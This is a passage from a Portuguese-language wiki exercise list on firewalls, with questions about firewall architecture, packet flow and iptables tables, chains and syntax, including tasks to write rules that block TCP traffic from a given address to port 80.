a posio estratgica que um firewall deve ter para garantir a proteo de uma rede interna. 2. Quais os dois tipos de firewall? Quais as principais ferramentas disponvei s para implementao dos dois tipos de firewall? 3. Apresente comentrios sobre os dois tipos de arquitetura, explicando onde e porque mais interessante utilizar determinado tipo de estrutura. 4. Explique como pode ser entendido o processamento/trajeto do pacote em uma mquina. Desenhe o diagrama e explique como e quando um pacote deve ser roteado. 5. Como pode ser definido tabela e cadeia no iptables? Quais as tabelas que o iptables suporta e quais cadeias so aplicadas a cada uma delas? 6. Na configurao de um firewall, quando deve-se utilizar a cadeia INPUT, OUTPU T e FORWARD no iptables. 7. Qual a diferena de aplicao da cadeias no ipchains em comparao com o iptables. Em qual kernel necessrio utilizar o iptables, ipchains e ipfwadm respectivamente?

8. Qual a sintaxe de utilizao do iptables? Explique todas as partes da sintaxe . 9. Elabore um comando do iptables que evite que pacotes de origem 10.1.0.2 s ejam entregue para o firewall em sua porta porta 80 por meio do protocolo TCP. 10. Elabore um comando que evite que pacotes sejam enviados para a mquina 10. 1.0.2 em suas portas altas, sendo que a origem ser o prprio firewall e sua porta d e origem seja a 80. Considere o protocolo TCP. Editar Anexar Impresso Texto Puro Mais aes de tpico GrupoLinux key Iniciar sesso ou Registro home Web GrupoLinux newtopic Criar Novo Tpico index ndice searchtopic Busca changes Alteraes notify Notificaes statistics Estatsticas wrench Preferncias Webs BrOffice EaD GrupoJava GrupoLinux GrupoLogica GrupoWeb Main Ruby SGBD SO Sandbox TWiki Wikeditora WikiEdu Powered by TWiki This site is powered by the TWiki collaboration platform Copyright 2003 - 2011, pelos autores colaboradores. Todo o contedo desta pgina pode ser utilizado segundo os termos da Licena Creative Commons: Atribuio, Uso no Comercial e Permanncia da Lic ena, salvo disposio em contrrio indicada de forma explcita no tpico correspondente. Referncias: Web, Global Histrico: r1